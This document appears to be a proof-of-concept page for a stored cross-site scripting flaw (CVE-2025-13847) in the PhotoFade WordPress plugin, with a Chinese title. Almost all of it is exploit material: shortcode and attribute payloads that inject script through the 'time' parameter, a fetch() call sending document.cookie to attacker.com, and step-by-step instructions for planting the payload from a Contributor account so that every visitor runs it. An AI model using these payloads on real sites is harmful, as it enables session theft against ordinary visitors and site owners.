PhotoFade插件存储型XSS漏洞(CVE-2025-13847)

<!-- CVE-2025-13847 PoC: Stored XSS in PhotoFade plugin 'time' parameter --> <!-- Requires Contributor-level WordPress access --> <!-- Method 1: Via WordPress Shortcode --> [photofade time='5"><script>alert(String.fromCharCode(88,83,83))</script>'] <!-- Method 2: Via Direct Parameter Injection --> <!-- When the plugin processes the time parameter without sanitization, the following payload will be stored and executed --> time = '5"><img src=x onerror=alert(document.cookie)>' <!-- Method 3: Steal Session Cookies --> <script> fetch('https://attacker.com/steal?c='+document.cookie); </script> <!-- Exploitation Steps: --> <!-- 1. Login to WordPress with Contributor account --> <!-- 2. Create/Edit a post or page --> <!-- 3. Insert PhotoFade shortcode with malicious time parameter --> <!-- 4. Save and publish the content --> <!-- 5. Any user visiting the page will execute the injected script -->